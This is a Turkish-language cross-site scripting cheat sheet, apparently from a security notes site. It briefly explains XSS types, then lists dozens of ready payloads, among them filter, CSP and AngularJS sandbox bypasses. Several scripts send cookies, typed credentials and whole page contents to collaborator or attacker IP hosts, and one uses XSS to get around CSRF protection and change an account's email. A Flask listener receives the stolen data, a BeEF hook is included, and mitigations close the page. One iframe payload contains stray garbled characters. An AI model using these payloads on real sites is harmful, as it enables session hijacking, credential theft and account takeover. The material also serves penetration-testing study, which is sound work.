XSS
XSS Nedir?
Cross-site scripting (XSS olarak da bilinir), bir saldırganın kullanıcıların savunmasız bir uygulama ile olan etkileşimlerini tehlikeye atmasına olanak tanıyan bir web güvenlik açığıdır.
Bir saldırganın, farklı web sitelerini birbirinden ayırmak için tasarlanmış olan "Same Origin" politikasını atlatmasına olanak tanır.
Cross-site scripting güvenlik açıkları normalde bir saldırganın kurban kullanıcı gibi davranmasına, kullanıcının gerçekleştirebildiği tüm eylemleri gerçekleştirmesine ve kullanıcının verilerine erişmesine olanak tanır. Kurban kullanıcının uygulama içinde ayrıcalıklı erişimi varsa, saldırgan uygulamanın tüm işlevleri ve verileri üzerinde tam kontrol sahibi olabilir.

XSS Türleri
Stored XSS: Saldırganın zararlı kodu web uygulamasının veritabanına kaydedip saklaması ve bu kodun daha sonra kullanıcıya sunulmasıyla gerçekleşir. En kritik xss türüdür.
Reflected XSS: Saldırganın kullanıcıya özel bir link veya form aracılığıyla zararlı bir URL veya istek göndermesiyle gerçekleşir. Sunucu, bu veriyi işler ve sonuçları doğrudan kullanıcıya geri gönderir. Yüksek seviye bir zafiyettir.
DOM Based XSS: Saldırganın web sayfasının JavaScript tarafında doğrudan manipülasyon yapmasını içerir. Bu, tarayıcıda JavaScript tarafından oluşturulan ve manipüle edilen sayfaları hedefler. Yüksek seviye bir zafiyettir.
Self XSS: Kullanıcının kendisi tarafından tetiklenmesi gereken xss türüdür. Düşük seviye bir zafiyettir.
Yöntemler
Special Karakterleri Denemek
Special karakterleri girdilerde deneyerek filtrelenmediyse bunu görebiliriz.
><
{}
;
&
'
"
\n
\r
\
\uXXXX
Nothing Encoded
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
Tag Escape XSS
"><script>alert(1)</script>
</select><script>alert(1)</script>
</script><script>alert(1)</script>
Attribute Escape XSS
"onmouseover="alert(1)
HREF Attribute XSS
javascript:alert(1)
Javascript String içinde XSS
'-alert(1)-'
\'-alert(1)//
'-alert(1)-'
Jquery Selector
#<img src=x onerror=alert(1)>
AngularJS Ng-App XSS
{{$on.constructor('alert(1)')()}}
Escape Json XSS
\"-alert(1)}//
Javascript Replace Function XSS
<><img src=x onerror=alert(1)>
Body Tag XSS
"><body onresize=alert(1)>
Custom Tag XSS
<xss id=x onfocus=alert(1) tabindex=1>#x
SVG Tag XSS
"><svg><animatetransform onbegin=alert(1)>
Canonical Link XSS
'accesskey='x'onclick='alert(1)
// ALT + X
Backtick String içinde XSS
${alert(1)}
AngularJS Sandbox Bypass
toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
CSP Bypass
<script>alert(1)</script>&token=;script-src-elem 'unsafe-inline'
AngularJS Sandbox ve CSP Bypass
<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(document.cookie)'>#x
HREF ve Event Handler olmadan XSS
<svg><a><animate attributeName=href values=javascript:alert(1) /><text x=20 y=20>Click me</text></a>
HTTP Paramater Pollution ile XSS
Aynı parametreyi aynı anda birden fazla göndermeyi deneyin. Filtreler bypass edilebilir.
http://example/page.php?param=<script¶m=>alert(1)</¶m=script>
Blocked Character XSS
%27},x=x=%3E{throw/**/onerror=alert,1337},toString=x,window%2b%27%27,{x:%27
Header ile CSP Bypass
Eğer çerezleri değiştirmeye izin veren bir parametre varsa aşağıdaki payload'u kullanabiliriz. Bu şekilde response'da CSP çalıştıran header silinir.
<script>alert(1)</script>&token=;script-src-elem 'unsafe-inline'
Markup Attack ile CSP Bypass
<script>
location='https://example.com/my-account?email="></form><form class="login-form" name="evil-form" action="https://COLLABORATOR" method="GET"><button class="button" type="submit">Click me</button>';
</script>
Steal Cookie XSS
<script>fetch('http://COLLABORATOR', {method: 'POST',mode: 'no-cors',body:document.cookie});</script>
<script>fetch("http://192.168.1.1/?cookie="+document.cookie);</script>
Steal Cookie with Js File
<script src="http://192.168.1.2/script.js"></script>
# script.js
new Image().src='http://10.10.15.122/index.php?c='+document.cookie
Steal Credential XSS
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://COLLABORATOR',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
Steal Page Content
<script>fetch("http://192.168.1.1/?data="+btoa(document.documentElement.innerHTML));</script>
<script>fetch('http://192.168.1.1', {method: 'POST', mode: 'no-cors', body:document.documentElement.innerHTML});</script>
<script>
setTimeout(function() {
fetch('http://192.168.1.1', {
method: 'POST',
mode: 'no-cors',
body: document.documentElement.innerHTML
});
}, 5000);
</script>
XSS Listener
from flask import Flask, request
app = Flask(__name__)
@app.route('/', methods=['POST'])
def catch_request():
data = request.get_data(as_text=True)
print("Gelen veri:", data)
return '', 200
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
XSS ile CSRF Token Bypass
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf='+token+'&email=attacker@gmail.com')
};
</script>
DOM XSS Web Message
window.addEventListener('message', function(e))
<iframe src="https://example.com/" onload="this.contentWindow.postMessage('<img src=x onerror=alert(1)>','*')">
DOM XSS HREF Web Message
<iframe src="https://example.com/" onload="this.contentWindow.postMessage('javascript:alert(1)//http:','*')">
DOM XSS JSON Parse
<iframe src=https://example.com/ onload='this.contentW-++++++++++++++++++++++++++++indow.postMessage("{\"type\":\"load-channel\",\"url\":\"javascript:alert(1)\"}","*")'>
DOM XSS Cookie Manipülasyonu
Eğer xss çalıştırmak için bir cookie manipülasyonu yapmanız gerekiyorsa hedef ilk kez url'yi açtığında xss çalışmayacaktır. Aşağıdaki payload sayesinde hedefin url'yi iki kez ziyaret etmesini sağlıyoruz
<iframe src="https://example.com/product?productId=1&'><script>alert(1)</script>" onload="if(!window.x)this.src='https://example.com';window.x=1;">
HTML Janitor DOM XSS
Html-Janitor whitelist metodu ile xss engelleyen bir kütüphanedir. Bu kütüphane aşağıdaki payloadlar ile bypass edilebilir.
<form id=x tabindex=0 onfocus=alert(1)><input id=attributes>
<iframe src=https://example.com/post?postId=1 onload="setTimeout(()=>this.src=this.src+'#x',500)">
SVG XSS (File Upload)
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert('xss');
</script>
</svg>
Önlemler
Çıkışta kullanıcı verisini sayfaya yazmadan önce bağlama göre encode et.
Girişte gelen veriyi alırken mümkün olduğunca sıkı doğrulama yap.
HTML bağlamında tehlikeli karakterleri HTML entity’ye çevir.
JavaScript içinde kullanılacak verileri Unicode ile escape et.
Bazı durumlarda hem JavaScript hem HTML için çift katmanlı encoding gerekir.
Veri beklenen formatta değilse girişte engellenmeli, düzeltmeye çalışılmamalı.
Doğrulama yaparken kara liste yerine güvenli içerikler içeren beyaz liste kullanılmalı.
Güvenli HTML’e izin verilmesi gerekiyorsa DOMPurify gibi kütüphaneler tercih edilmeli.
Template motorları genelde otomatik kaçış sağlar, doğrudan string birleştirme yapılmamalı.
PHP’de htmlentities() fonksiyonu ile UTF-8 ve ENT_QUOTES kullanarak içerik encode edilmeli.
JavaScript’te HTML veya JavaScript stringleri için özel encode fonksiyonları yazılmalı.
jQuery selector içine doğrudan kullanıcı verisi koyulmamalı. CSP kullanılarak dış scriptlerin yüklenmesi ve inline scriptlerin çalışması engellenmeli. Nonce veya hash yöntemiyle sadece izinli scriptlerin çalışmasına izin verilmeli.
Araçlar
BEEF-XSS
XSS zafiyetini sömürememizi sağlar.
<script src="http://<IP>:3000/hook.js"></script>
XSS Hunter
Blind XSS zafiyetinin tespitini sağlar.
XSS Report: https://xss.report/
XSS Hunter: https://xsshunter.trufflesecurity.com/
Kaynaklar
Portswigger Academy: https://portswigger.net/web-security/cross-site-scripting
Last updated
Was this helpful?